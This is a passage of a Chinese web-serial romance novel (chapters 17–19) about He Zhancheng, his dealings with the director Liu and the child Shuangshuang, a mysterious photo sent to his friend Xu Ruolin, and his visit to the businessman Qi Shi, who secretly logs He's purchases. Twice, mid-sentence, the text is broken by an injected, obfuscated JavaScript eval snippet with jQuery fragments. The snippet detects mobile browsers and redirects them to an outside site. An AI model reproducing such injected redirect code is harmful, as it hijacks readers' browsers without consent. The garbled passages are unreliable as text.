裴玉跟他表白了,神经病,昨晚上订了高档包厢请他吃意大利菜,中途他就去厕所撒个尿的功夫,那人见他回屋,把他堵门口,变戏法似的捧着一大束玫瑰花,深情款款地告白,说愿意做他的情人。 何湛程无语,说,我不愿意。 裴玉这大半月陪着他一起吃吃喝喝,消瘦过度的身体终于长回点儿肉,脸丰盈了不少,整个人精气神十足,一米八的大高个子,不枉是靠脸吃饭的男明星,帅得一塌糊涂。 但何湛程跟人坦白,他最近不喜欢大明星,他喜欢青春活泼的体育生。 裴玉有点失落,问他是不是嫌他年纪大? 何湛程:“废话,我这么年轻,当然要谈更年轻的。” 废话,他要不这么说,裴玉那脑子转得比溜溜球还快,就凭这阵子他和戚老二鸡飞狗跳地闹腾,裴玉能不想到自个儿老板身上去? 何湛程就觉得自己真贴心。 嗯,完美断绝一切暴露他心思的可能性,不留一丝机会给敌人趁机而入。 他要走,裴玉戏还有好几个月没拍完,本想着让助理送他去机场,何湛程才不要去机场,他要偷偷地去找他的心上人。 正琢磨着得想个招儿蒙混过关呢,刘导得知消息,说这阵子谢谢他帮忙带孩子,想亲自请他吃个饭,再派人送他回燕京逛两天,吃喝玩乐酒店住宿全包的那种。 怪不得刘导喜欢到处给人当爹。 刘导果然是个慈父。 何湛程欣然应允。 小包厢,四五个菜,酒桌上就仨人,刘导,霜霜,还有他,一家三口似的,怪温馨的。 不过很遗憾,何湛程是蜜罐儿里长大的金子,不是缺爱可怜的孩子,无论走到哪儿,只要是吃饭,他很难不全情投入进去。 没办法,他也才二十,正长身体呢。 霜霜一见他就哭,说不想让小程子走,小程子要走了,以后就再也没人陪她玩儿了。 何湛程没招儿,才吃了个半饱,就要被迫哄孩子。 “不是让你背过我电话了么,”他捏了捏她的小脸蛋,“有事儿打我电话,我肯定接。” 霜霜不信,哭得更急:“你骗人,你这时候答应了,一转眼就忙得顾不上我了!” 何湛程轻啧一声,抬眼去看刘导。 刘导冲他尴尬一笑,三分愧疚七分无奈:“生活么。” 何湛程就低头揉霜霜的脑袋瓜:“你爸是大导演,我又不是,我就一无业游民,连学都不上了,天天除了吃喝玩乐,就是抱着手机等接电话,一点都不忙。” 霜霜泪眼婆娑:“真的吗?” 何湛程:“真的。” 霜霜擦擦眼泪,好奇地问:“那除了我的电话,你还在等着接谁的电话?” 何湛程:“一个有趣的人。” 霜霜:“是你之前说的,那种有趣的脸吗?” 何湛程笑了,刮刮她鼻尖:“聪明!” 霜霜也笑:“那……这个有趣的人,最后也会变成镜子里的你自己吗?” 何湛程认真想了想,说:“不知道,但大概率是。” 霜霜突然拉住他的手,凑到他耳边轻声问:“小程子,你是不是也很孤单啊?” 何湛程也凑到她耳边,小声说:“不是孤单,是无聊。很无聊,非常无聊,无聊到恨不得让宇宙爆炸世界毁灭才觉得刺激。” 霜霜仰头,困惑地望着他。 何湛程冲她笑,是那种丧失一切兴趣的、很无聊没劲的笑。 下一秒,刘导生怕霜霜染上什么似的,赶忙拉着闺女坐到一边儿去了。 “霜霜,”刘导呵斥,“别影响哥哥吃饭!” 从库洛米小书包里掏出一个iPad,让她一边吃饭一边看动画片。 起身对他举起酒杯,笑道:“来,湛程,小孩儿不懂事儿,你别介意,咱爷俩走一个。” 何湛程扯扯嘴角,起身和对方碰杯。 “刘叔客气,我是小辈,该我敬您。” 灯影下,瓷杯啪呲相撞,白色酒液溅出几滴到指尖,像午夜的风,凉得很纯净。 他一口闷了,初刻不觉得什么,只片刻,那浓烈的辣气就倒刺进喉腔,火燎燎的,又像无数根细针,霎间穿插遍五脏六腑,刺激的心脏一阵超速狂跳。 好东西啊! 何湛程一挑眉,饶有兴致地把玩着手上小小的白酒杯,感觉很有意思。 “刘叔,”他吃着菜,随口道,“我喝不来这个,换红酒吧。” 刺激有好多种,他可不想选择最短命的一种。 刘祥不知道他喝不得烈酒,招手叫了服务生,要了两瓶红酒,回过头来,哈哈哈哈开始大肆取笑他酒量差劲。 何湛程好脾气地吃菜,笑而不语。 没关系,不知道就不知道。 除自家人外,世上人都不知道。 谁会将自己的弱点袒露到别人面前? 傻叉么? 曾经在他病重昏迷时,很多娱乐记者跑到他所在医院打探消息,不少人甚至乔装打扮成医生护士,只为拍一张何家三儿子濒死的照片。 只要拍到他那副浑身插满输液管的、要死不活的样子,随便写点什么内容,都能被渲染成一则爆炸性新闻,执笔人和摄像说不准还能青史留名,例如:xx拍摄于xx年xx月xx日。 分明下三滥行径,按正规格式一标,发布成文件,倒显得无比正派起来。 世事大多如此。 他爸本来就烦,当即发了话,令医院重重戒严,但居然还是有人混进去了。 次日一早,某早报头版,醒目粗黑大字标题:【何澜三子命悬一线,一代枭雄终得报应?!】 再次日一早,该报社一夜之间被砸得稀巴烂,执笔人和拍摄者血肉模糊地倒在雪地的玻璃渣堆里,脚边散了一地的牙。 这条新闻更劲爆,但没一个人敢写,更没一家报社敢报道。 他爸老年信佛,家里设了佛堂,供着神龛,香火袅袅,他爸日日诵经,脾气好极了,也没起诉那俩傻叉,还将人送进了全沪上最好的医院,天天派弟兄们带着水果花束去病房里唠嗑慰问。 这条新闻倒是登报了,一件小事,头版洋洋洒洒数千字,三分之二回顾他爸生平事迹,三分之一歌颂他爸美好品德,仅半天就传遍大街小巷,整个沪上无人不知无人不晓,被救助者的家人还专门送来了“多谢何先生见义勇为”的锦旗。 嗯,他爸是慈善家。 老实说,在遇见戚老二之前,何湛程一向很反感娱媒行业的人。 不管是在珠宝晚宴上骚扰裴玉那个摄像师,还是一眼就能令人瞧出来的那位靠幕后运作才火遍全国的戚铭大影帝,这群人有意思么? 娱乐文化脱离了娱乐本身,十条新闻有八条都是为炒作而捏造出来虚假信息,每天一打开手机,名不见经传的张三李四王五赵六、乱花人眼真假难辨的消息、扭曲事实编造是非的引战帖子、键盘侠无差别攻击……区区一个掌中的方形壳子,居然比最繁华街区的十字路口还要喧嚣。 他倒不是在指点江山,只是他们何家人比较保守,似乎还和他爸一起活在上个世纪,这些年来不太跟新潮的东西接触。 记得刚上大学那会儿,他被周围同学带着玩各种社交软件,有纯黄色的,也有赤橙红绿青蓝紫其他颜色的,他偶尔兴致上来,也分享日常生活。 发自拍、晒他喜欢喝的红酒和穿搭,短短半年,佛系营业收获3.5万的粉丝。 不过呢,林子大了啥鸟都有,既有人骂他炫富装叉,也有人揣测他在大学旁住的三层别墅和日常开的法拉利其实是租的,有人说他长得像男妓,还有人说他家做中国人的生意,他居然跑去外国读书——不爱国!骂他私生活乱(好吧这点他承认)……评论骂他还不够,居然还专门私信骂他? 这群该死的张三李四王五赵六!管得范围竟然比他爸妈大哥加在一起还多?搞得他大半夜在床上窝火睡不着,又不能每个人都揪出来揍一顿,他一怒之下,干脆就不玩赤橙红绿青蓝紫了。 话虽如此,社会日新月异的变化,现在是新时代、新面孔,看在戚老二的面子上,他也要摒弃一些刻板印象了。 偶尔也想,如果戚老二不是做这行的就好了,哪怕那人没钱,他何老三包养他也无所谓。 为什么呢,他说不上来。 可能看过戚老二上大学的视频? 直觉上,他认为戚老二不适合干这行。 但戚老二干哪行的关他屁事。 他又不跟戚老二谈恋爱结婚,他纯粹是看上了那人的脸蛋和身体而已。 饭局到晚间十点半,霜霜被送回酒店睡觉了,刘导开始跟他聊正事儿。 何湛程不傻,没等人开口,潇洒一挥手,说那些小打小闹,让刘导不用放在心上。 有啥可聊的? 聊总导演带着全剧组一起排挤欺负他么? 难不成他被欺负了还不够,事后还得再回顾总结一下? 没必要。 裴玉不也两头摇摆着么? 公司如他家,裴玉一路摸爬滚打不容易,他比谁都珍惜自己的演员身份和如今的地位,戚老二让所有人折腾他何湛程,裴玉能不知道? 一码归一码,问迹不问心。 人家也要讨生活,私下帮他带饭又带药的,万众追捧的大明星,拍完一天戏,还巴巴地跑来照顾他,他受人恩惠,睁一只眼闭一只眼,装傻就是了。 不用刘导帮他复习,他心里都有数。 不过刘导还想跟他表功。 刘导说,他第二次回来,又请大家吃饭又请喝水的,大伙儿都是人,也不是没良心,有人来问情况,他们三言两语地就帮他糊弄过去了,统一供词,说小何勤奋工作、没日没夜、一如往常地辛劳。 刘导希望何湛程以后见着了戚时,可千万不要露馅。 何湛程敬了人一杯,笑着说好。 双方就这样愉快地散局了。 晚上冷,何湛程的酒店就在不远处,婉拒了刘导开车送他的提议,他想吹会儿凉风,散步回去。 出门前,他在薄棉夹克外面,又套了一件没过膝盖的黑色羽绒服。 版型新潮,保暖又轻盈,中高档次 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15409026|168801||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的品牌LOGO,两千来块,景区买的。 花的戚老二的钱。 他最近在外面下馆子吃饭喝酒、偶尔逛街买两件衣服、给霜霜买零食玩具、时不时请剧组大伙儿喝个饮料,花的都是戚老二的钱。 老规矩,让店长们只管找人打电话,他不信戚老二这么要面子的人会赖账。 扫兴的是,那人默不作声把所有的账单都结了,不跟他发火儿就算了,连茉莉都没找他。 茉莉不找他,就意味着戚时根本没有告诉她。 怎么会呢? 一个大总裁,这么繁琐的鸡毛蒜皮,一个个电话挨个接,一张张账单挨个付? 戚时是喝什么药了?怎么突然变得这么成熟有格局起来了? 何湛程觉得这日子过得很没意思。 夜幕深浓,黑漆漆的远山上空悬着一轮明亮的圆月,何湛程呼着热气,两手揣在羽绒服兜,漫步在寂静无人的商业街道上。 一只猫从仿古建筑的屋檐上跳下来,摇着尾巴,踩着曼妙的步子,姿态轻盈地路过他脚边,很快消失前方的坡道。何湛程抬起头,望着前路不见尽头的地平线,心想,如果这次他回去找戚时,对方还那么讨厌他的话,他就直接走吧。 兜里一阵响声,猛地心脏一紧,连忙掏出手机看: 许若林。 何湛程莫名有点火大。 其实九点半那会儿,许若林给他打了个电话,他没接。 这二楞小子不发消息就直接打电话,肯定是收到他礼物了,这就又开始得意忘形了,就又开始自恋了,就又觉得他爱他了。 何湛程真不知道自己该怎么跟那二楞小子讲清楚。 蜜蜂会喜欢它采过的每一朵花吗? 当然会啊! 不喜欢它采这朵花干嘛? 但蜜蜂会永远为一朵花停留在原地吗? 当然不会啊! 蜜蜂只有不断地采花,才能正常地运作它的生命,这么简单的道理,许若林这个天才级别的学神怎么就想不明白呢?! 不过眼下何湛程闲着没事儿,顺手就接了。 “程哥,”那边似乎语气不太对,“这么晚了,我没打扰你吧。” 何湛程无语:“你都打电话了,你还问这话干屁?” 敏锐察觉到对方一丝低落,何湛程皱了下眉:“怎么了?有事儿?” “我收到你的礼物了。” “嗯,不用谢,回头你那三千五,我也会还你的。” “程哥,我们之间不说这个。” “那你想说什么?” “我……我想问你……我……我又怕你生气。” “不说拉倒。” “等一下!” 这一嗓子吼的,冷不丁给何湛程吓一跳,大晚上夜黑风高的,鸡皮疙瘩都冻起来了。 对方显然情绪不对劲,这哪里是收到礼物的反应? 这是收到噩耗的反应吧? 何湛程不好开口骂人,耐下性子问:“我就给你半分钟,你不说事儿,我再也不接你电话了。” “我说!”许若林一咬牙,一向畏缩的语气忍不住增加了几分怒意:“你在扉页给我写那样一段话,却又在末页夹一张别人的照片,我不明白你是什么意思?是他在跟我示威?还是你在羞辱我?!” 何湛程懵逼了:“啥?” 许若林察觉不对劲:“你不知道?” 何湛程本身就有些微醺,眼下被这乱发疯的小子气的头疼,思绪更是混乱不堪。 一手举着电话,一手死命揉着太阳穴:“我让朋友帮忙邮寄,可能她在处理事情的时候不小心掉进去的,我只送了你一个本和一个书签。” 许若林一秒被哄好:“真的吗?” “什么照片,发来我看看。” “那没必要了,”许若林笑得开朗,“程哥你早点休息吧,谢谢你的礼物,我很喜欢,晚安!” “照、片、发、来、我、看、看。”何湛程一字一顿地说。 “不要。”许若林一口回绝,挂断电话。 何湛程呵呵冷笑。 这给他惯得。 太不像话! 给人发微信,语气郑重严肃: —给你发快递的是燕京某个大集团的总行政秘书,她如果遗失了重要文件,会很耽误事,你照片发我,我帮你问问她 许若林: —少骗我,那张照片才不是什么重要文件 何湛程:“……” 如果全天下的人都和戚老二一样好骗就好了。 他真讨厌和聪明人打交道。 略一思索,换了路数: —我过几天就回沪上,等我回去,带你去吃大餐看电影买新衣服 许若林: —你说的 何湛程: —照片 许若林磨磨蹭蹭地发来一张照片。 不,是两张,一张照片的正面和反面。 正面,是那张几乎连睫毛根数都早已深深印在何湛程脑子里的、戚时戚大总裁的超高清版高中毕业校服帅照。 反面,白色底粗黑记号笔,正楷—— 勉强算正楷。 能看出本人在很努力的一笔一划地写了,但效果并不显著,歪歪扭扭,共七个丑陋的大字: 【十七岁的帅老子】 18. 第18章 当何湛程一脸纳闷地探究这行犹如男孔雀开屏一样的丑字时,许若林突然想起什么,告诉他一件事: 在收到礼物前两天,许若林接到了大概六七通莫名其妙的电话,同一手机号,不分时间段的打来,也不说话,就听着他问“喂,你好”、“你是谁”、“请问找我有事吗”,到后来许若林觉得太诡异,开始发脾气威胁对方“说话”、“再不说话我报警了”,对方依旧保持沉默,等他说完,然后再挂掉。 何湛程隐隐有种不祥的预感。 他问许若林,今天那个人给你打了吗? 许若林愤愤地回,不知道,我把这个手机号拉黑了! 何湛程找许若林要手机号,许若林没防备,直接给他输过来了。 何湛程看到那串熟悉无比的手机号,大脑宕机足足半分钟。 戚老二到底在搞什么啊? 整他一个何湛程还不够,怎么还整到许若林头上来了? 还有,这傻大个儿的脑子是不是有坑? 平时打电话也就算了,做坏事骚扰别人都不知道换个小众点的手机号? 不知道他何湛程对他戚老二的手机号倒背如流? 还是故意等着露馅呢? 露馅,然后呢? 何湛程想,等着他去质问吗? 戚老二拉黑了他微信和电话,也不回他短信,他还怎么再质问? 许若林发语音来:“程哥,你认识这号码?” 何湛程烦得不行:“不认识,你继续拉黑着吧!” 回酒店,何湛程整个脑袋团满了浆糊一样,扔了手机,直奔浴室洗澡试图清醒一下。 弯腰脱裤子的时候,猛然想起他那条失踪多年的内裤,和内裤一起消失掉的照片们。 “草……”何湛程维持着这个姿势没敢动,眼睛瞪得溜圆,吓得几近失声。 一切都败露了,不知道那群人怎么帮他装的行李,难不成他把照片和内裤扔在了一起,他们就要把这两种东西都装在一起吗?! 不觉得变态吗?! 这年头都是些什么世道啊!! 何湛程澡都没敢洗,重新穿好裤子,噔噔噔跑到沙发前拿手机,一屁股陷进真皮软垫里,呼吸紧张地发消息问茉莉: —他什么时候知道的照片的事? 茉莉秒回: —你正式入组的第一天中午。 这就说得通了。 何湛程心跳砰砰,呼吸一点点平缓下来。 难怪戚老二前阵子跟疯了一样折腾他,原来是早就知道了?! 最近一声不吭,是终于消气了?或者懒得再理他了? 不。 戚老二又开始折腾上许若林了。 何湛程皱眉。 不是,戚时活这么大岁数,怎么还搞连坐啊?这也太小心眼儿了吧? 但—— 戚老二把照片放许若林的礼物里膈应人,他多少能理解一点,戚老二亲手写的那行“十七岁的帅老子”是什么意思? 自恋狂? 偏偏是十七岁,偏偏放的是高中毕业照。 怎么不放大学毕业照呢? 正疑惑着,茉莉倒发消息来问: —你怎么知道他知道了照片的事? 这下子更疑惑了,何湛程问: —不是你们戚总放进去用来警告我的么? 茉莉: —放哪里? 何湛程眉头拧成川字: —你现在方便接电话吗? 茉莉: —方便,我还在上班。 何湛程就拨通了她的电话,俩人一来一往地聊。 何湛程开门见山就问:“许若林的礼物你什么时候送出去的?” 茉莉歉然:“抱歉,我前两周有些忙,时间点总和取件员有冲突,你的东西我也不好假手于人,但你说过不着急,所以我拖了一阵子,前天才邮寄过去的。” “你不知道戚老二往那个本子里放了照片?” 茉莉懵了:“啊?” “就是你们在我行李里翻出来的那几张照片。” 茉莉犹豫片刻,似乎也在向他求解:“这个我不太清楚,但那几张照片,还有你的……咳,私人物品,戚总都一起收走了,你的意思是,他把拿走的照片又都放回你送朋友的本子里了?” 何湛程眉心猛地一跳。 戚老二那个死变态,收照片就算了,收他穿过的内裤干什么? “嗯,不过就一张。” 今晚许多事情都太过玄幻,何湛程也有些云里雾里,他坦诚道:“他还在背面写了字,可以的话,你让他给我打个电话解释,如果他不乐意,你帮我问问他那句话是什么意思。” “我知道了,”茉莉并不正面给出回应,只说,“我先调一遍监控。” “随你,”何湛程语气冷峻几分,“但你告诉他,我和他两个人的事,不要牵扯到不相干的人。” “好的,这句话我会转告的。” 翌日。 下午四点二十五分。 总裁办的玻璃门今天第N次被敲响,门外女声问询:“戚总,这会儿方便了吗?” 戚时正沉浸式趴在桌上写东西,头也不抬,不耐烦道:“说了,今天一整天都没空,不是急事儿就先堆着,明天我再处理!” 门外叹一口气:“的确不算急事,但想必您会感兴趣。” 戚时乱划拉的笔一停,问:“刘导那边的?” 茉莉:“我能进去说吗?” 戚时一顿,低头看一眼铺满桌子《控笔训练》、《楷书基本功》、《高效练字49法》、《21天行书速成》、《行书常用3000字》,和买行书整套附赠的一本《情书临摹八百句》,还有没练一会儿就原形毕露的狗爬字体,飞了满纸的“许若林”和“何湛程”,还有画工逐渐精湛起来的、大小不一的枫叶。 三下五除二将这堆练字帖收到抽屉里,草稿纸撕成碎片扔脚边的废纸篓,他清清嗓,装模作样打开电脑,靠在椅子上,随便点开一个文档,冲外面说:“进吧!” 茉莉一身职业西装,踩着高跟鞋进来,靠近办公桌前半米站定,抬手推了下她反光的银丝眼镜。 戚时一挑眉:“怎么,今天走柯南风?” 茉莉微笑:“昨晚凌晨三点才下班,遮熊猫眼的。” 戚时皱眉,纳闷问:“最近不忙吧?怎么你加班这么晚?” 茉莉继续笑:“公司事不忙,但昨晚三少来电话找我查证一件事,我调监控找罪魁祸首,查了四个多小时。” 戚时默默低下头,右手拇指食指飞速转着钢笔,左手认真抠着办公桌上的木质纹理,没吭声。 茉莉稍微往前走了一小步,表着忠心:“您放心,我不会干涉超过我职责范围的事,只是关于那张照片背面那行字,三少说希望您给他解释一下意思。” 戚时哼一声:“他自己不会问么?” 茉莉:“他说您可以给他打电话。” 戚时冷冷道:“是他要问,又不是我要问,他应该给我打电话才对吧?” 茉莉:“呃……您好像把他拉黑了。” 双手在空中比划了一个弧,小声提醒:“全方位的拉黑。” 戚时蹙眉,不满意道:“拉黑一个不会再办一个么?他不是挺多手机号的么?剧组那么多人,他随便借一个别人的手机打不行么?” 茉莉:“……” 所以呢? 现在是谁先跟谁打电话的问题吗? 戚时见她一脸欲言又止,随即察觉到自己的失态。 放下钢笔,十指交叉搁在桌上,他反客为主,倒质问起她:“我往自己的照片上写东西还需要向别人解释?陈述事实而已,还是你觉得我写的那话不对?何老三天天闲的发慌,吃饱了撑的没事就骚扰你一下,你搭理他干什么,还为他费心这么晚,你到底给谁做秘书的?” 茉莉无奈:“好的,我明白了。” 戚时一挥手:“去吧。” 不知道为什么,他最近看见她就想逃跑,但谁让他是老板,她是员工? 茉莉:“还有一件事,三少让我给您传句话。” “嗯,你说。” “他说,他和您两个人的事,希望您不要将其他人牵扯进来。” 戚时一顿,别过脸看向窗外,忍不住嗤声嘲讽:“怎么,他这是心疼了?” 茉莉还没开口闹清楚状况,就又听对面低声埋怨:“我也没干什么吧。” 她抿了抿唇,盯着他黯然的侧脸。 她不知道他还要再口是心非到什么时候。 “戚总,”她轻声暗示,“其实三少一直都很尊敬您,如果您肯放低姿态,主动和三少示好,你们变得亲密些并不是难事,俗话说得好,多一个朋友就少一个敌人,您——” 戚时蹙眉打断:“老子用得着跟他一个黄毛小子交朋友?” 茉莉:“……” “没事我先下去了。” “嗯。” 玻璃门关上,高跟鞋声远离,偌大空间重新成为他一个人的私人场地,戚时斜歪在办公椅上胡乱转了一圈,抬手掌抹了把脸。 他不懂自己面对下属在提心吊胆些什么。 点击两下鼠标,打开“工作簿1”,这是份没有正式命名的Excel表。 他先偏头往外瞅一眼玻璃门,确定茉莉不会突然回来,而后放心大胆地浏览起来。 3.15 寿司店 鸭舌帽+短皮夹克+长裤+马丁靴,脸白白净净的,长很漂亮,腕上戴着串佛珠 这是找他付账单时,寿司店老板跟他详细描述的。 老板询问:“老总,这是您家的少爷吧?” 他回:“是。” 3.15 新疆特色烤羊腿店 年轻人+个子很高+笑容甜+皮肤白+非常有礼貌 老板询问:“请问您是他的哥哥吗?” 他回:“是。” 3.15 古镇茶饮店 老板:“您好,刚才有位客人来我们店铺下了五百单茶饮,请问是您要求的吗?” 他:“他长什么样?” 老板:“戴着顶黑帽子,穿皮夹克,个子一米八往上,长得像明星,气质挺好。” 他:“是。” 老板:“那请您先结算一下账单,我们这边开始制作。” 他:“好。” 从此就一发不可收拾起来。 3.16 冲锋衣+球鞋+斜挎包+身上有很好闻的香味 1*小羊绒毯/1*箱暖宝宝/高级智能保温杯/一打棉袜/2*红酒 小兔崽子怕冷,他想。 3.17 驼色大衣+高领黑毛衣+牛仔裤+帆布鞋+看起来很开心 融合菜料理/ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15409027|168801||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 2*护肤套盒/1*香水/5*红酒/2*跑鞋/500*茶饮/剪指甲刀 他纳闷,不是说在辛勤劳动么,怎么干苦力活还穿大衣? 3.18 毛线帽+暗红卫衣+薄棉黑马甲+运动裤+领着一个小女孩 麦当劳/粉红泡泡机/库洛米毛绒挂件/清朝格格装*景区一日游摄影套餐 他挑眉,今天帮刘导带孩子? 呵呵,霜霜那小妮子不折腾死他才怪。 3.19 / 他等了一天,到凌晨也没等到一个电话。 怎么不买东西了? 他躺在床上辗转反侧。 衣服包鞋子不买,饭总得吃吧? 茉莉不是说兔崽子身上没钱了吗? 不吃饭……不饿吗? 3.20 一个手里捧着保温杯的帅小伙 1*长款羽绒服/2*糖葫芦/500*茶饮/2*红酒 对啊,他想,冷了就该买件暖和点的羽绒服穿才对,光盖个小破毯子有屁用? 3.21 / 3.22 / 3.23 / 不吃饭吗? 一口饭都不吃? 他才不信小兔崽子会吃得惯剧组盒饭。 急得差点给人打电话过去。 怪不得这么瘦,成天干苦力,还天天饿着? 凌晨两点半盘腿坐在床上,清清嗓,练习第二天要打电话时父亲般的语气: “怎么不吃饭啊程儿?你大哥让我照顾好你的身体,你老挨饿哪儿成啊?明天得好好吃饭啊!” “还有,别老喝酒,怪伤身的,年纪轻轻就肾虚了咋整?” 第二天,一整天拿着手机开开关关,高层会议上,茉莉站在发言台上汇报工作,一双犀利的眼睛盯向心不在焉的他,提醒:“戚总,您说呢?” 说。 他说啥? 天天开个几把的破会,他只想扔了身上这紧绷绷的破西装,穿着白背心大裤衩,窝在家里遛狗喝茶晒太阳。 他最终没打过去。 晚上一口饭没吃,泡了杯蛋白粉,心烦意乱地举了半小时铁、卷了半小时腹,又在跑步机上跑了俩小时,把自己搞得大汗淋漓,再冲个暴风雨般激烈的冷水澡,吃两片安眠药睡去。 光标点到“×”,食指悬在鼠标,戚时盯着那一排排毫无道理的文字记录,关闭页面,果断永久删除。 从现在开始,他决定不再关注任何关于何湛程的事。 首先,他是男人,男人天生就该喜欢女人,所以他应该喜欢女人。 其次,就算他喜欢男人,他也该喜欢一个知书达理懂事乖巧干干净净的高学历男生,而不是何湛程这种连大学都没上完就四处留情的风流兔崽子。 最后,就算他喜欢这只偶尔有点可爱的兔崽子,人家也不会看上他。 所以,没戏。 戚时打开抽屉,掏出他的小摞字帖,撕了两张临摹纸,开始重新练字。 嗯,男人当自强! 刚写了个“许”,桌边手机嗡嗡震动起来,他瞥一眼,是个陌生号码。 不知道今天又买的什么。 他放下笔,接起电话,另一手点着鼠标,重新创建了一个Excel表,并将光标挪到第一格。 对方:“您好,这里是XX时装专卖店,现在有位二十岁左右的年轻男士在我们店铺购物,请问是您这边付款吗?” 戚时:“他今天长什么样儿?” 对方:“呃……挺高的,穿浅色牛仔外套和黑紧身裤,戴着棒球帽和口罩。” 戚时:“他感冒了?” 对方:“什么?” 戚时:“没什么,账户发我短信,稍后给你转过去。” 对方:“好的,下面为您汇报账单:一件5999元的落肩长款休闲风衣、一件3640元的薄棉绒白色衬衫、一条1626元的真丝提花黑领带、一双2888元的深红帆布鞋和三百条单价为460元的男士内裤,共消费十五万两千一百五十三元,这边给您按折扣九五折价算,您需付十四万四千五百四十五点三五元。” 戚时无语。 这狗兔崽子有几个裆,买这么多条内裤。 “知道了。” 挂掉电话,对方发来账户,戚时转账过去。 这才想起,商家报的地址貌似是在京城市里,而且距离他公司还挺近。 今天跑出来玩儿了?他心里萌生出几分难以言说的期待,没在景区忙? 双手敲着键盘,一字一句把刚才对话内容整理到表格里,瞥一眼电脑右下时间栏,下午五点十分。 快到饭点了。 他想,要不现在领着茉莉去楼下吃顿饭吧,再开车去附近奢侈品店转转,嗯,就是何湛程刚才买衣服的那家店,送她个包,算作她昨夜帮兔崽子辛苦操劳的补偿。 正准备发信息给她,她座机电话先过来了: “戚总,大堂打电话上来,说三少来了,您要见他吗?” 戚时登时一喜! 下一秒,整个人吊儿郎当地歪进椅子里,叠起长腿搭在办公桌角,一手举听筒,另一手钢笔转得飞速,一脸不耐烦道: “他人都找来了,我还能怎么着?” 茉莉:“……” “那我安排他上来了。” 戚时:“随便你。” 19. 第19章 “hello!茉莉,好久不见!” 隔着长长的走廊,一道尾调悠哉的问候声传来,动听得像在和她调情。 茉莉无奈一笑,略感疲惫地扶了下镜框,从一摞资料文件中抬起头,望向那位惹祸实力果然名不虚传的小祖宗。 不同于上次见面的日常装,小祖宗今天来拜访某人,显然是细心打扮过了。 三七分碎盖的发型,偏正式的白衬衫黑领带,过膝风衣在行走间猎猎翻飞,不经意露一截劲瘦腰身,清纯动人,完全像个来面试的帅气男大学生,然而胸前口袋插两朵嫣然盛放的红玫瑰,以及脚底踩的那双暗红帆布鞋,又直接暴露出他风流少爷的骚包本性。 少爷走到哪儿都是一脸笑意迷离,很好脾气的样子,是故,哪怕他本性再混蛋,也令人舍不得对他生气。 他朝她笑着走来,一手插兜,另一手从胸前摘下支玫瑰,低下头,颇具绅士仪式感地递给她:“鲜花赠美人,请允许我将这支玫瑰献给我们辛劳工作一天的茉莉女士。” 茉莉脸微微一红,起身道谢接过花。 玫瑰芬芳,她低头嗅着,心想,这世上有谁会不爱上他呢? 眼神瞄到他胸前的另一朵,犹豫地问:“我先收的话,是不是不太好?” 作为戚时的身边人,她很清楚,老板在很多事情上是非常大方的,但在某些事上,也是极其小心眼的。 何湛程一挑眉:“怎么会?难道不是Lady first吗?” 茉莉连忙将手往总裁办一摆:“进吧,戚总在里面等你。” 真是的,再多聊几句,她就要成老板的情敌了。 她可不想每天上班时不时就收到几张老板亲笔签名的私人帅照。 她会做噩梦的。 “我给你们戚总带了些礼物,”何湛程进屋前扭头交代,“在大堂前台,你等下叫人拿进来吧。” “好的。” 何湛程就这么推门进去了。 居然就这么推门进来了?!! 戚时坐在电脑前,目不转睛地盯着一份几百年前就已经处理过的文件,余光瞄着走近的……帅得那么光彩动人的男孩,底下两手胡乱忙着,噼里啪啦地敲键盘。 心想,当他办公室是兔崽子窝么? 一点礼貌都没有。 “二哥,忙着呢?” 兔崽子笑得跟朵花似的,手里也捏着支玫瑰,大高个子站在办公桌对面,隔着电脑就递了过来:“刚服装店老板送的,我觉得这花跟你长得像,顺手就带来了,你闻闻,香不香?” “没空,”戚时头也不抬,“你随便在屋里找个花瓶插上去吧。” 兔崽子没听懂似的,摇着一截雪白细瘦的手腕,在他眼前晃着那支湿漉漉的玫瑰,使坏将花瓣上的露珠滴在他鼻梁上,笑说,“二哥,你知道吗,我小时候也经常在我爸公司的总裁办里玩儿,他们得空了就陪着我下象棋,还能一下一整天,你知道为什么吗?” 戚时满不在意地问:“为什么?” “因为坐总裁办的人,一般在签字或者思考,要么就是在打电话,他们不怎么敲键盘的。” 戚时:“……” 手指就这么悬浮在键盘上,敲也不是,不敲也不是。 “就算敲键盘呢——”兔崽子笑意欲深,找死一样,将那朵玫瑰伸过来,轻轻拂过他的眉心,滑过他紧绷的侧脸,最终停留在他的下巴,这般撩拨着,笑说:“也不会像你敲得这么激烈。” 戚时:“……” 干脆抬头和人对视,一脸的镇定自若:“我就喜欢这样敲,我们练体育的力气大,就喜欢敲得噼里啪啦的,带劲。” 兔崽子笑得花枝乱颤。 然后缓缓俯下身,更近距离地眨眼望着他,一脸宠溺:“好呀,你说什么都对。” 戚时僵在椅子上,一动不敢动。 倒不是怕,就是不理解。 这狗兔崽子今天怎么回事?吃错药了?这人胆大包天得有点过分了吧,居然敢调戏他?! “你想干什么?”戚时仰头瞪他。 这个姿势其实处于下风,他想,他该站起来的。 他一站起来,无论是身高,还是体型上,他都能完全将面前这个骚得不行的小兔崽子包裹住。 完全的、每一寸肌肤和气息、一滴不漏的,包裹住。 “我就是想让你闻闻,这花香不香。”何湛程笑眯眯的,再一次将花递过来。 这语气又恢复正常了? 戚时被搞得莫名其妙,接过来花,敷衍般地闻了闻,说:“就那样吧。” 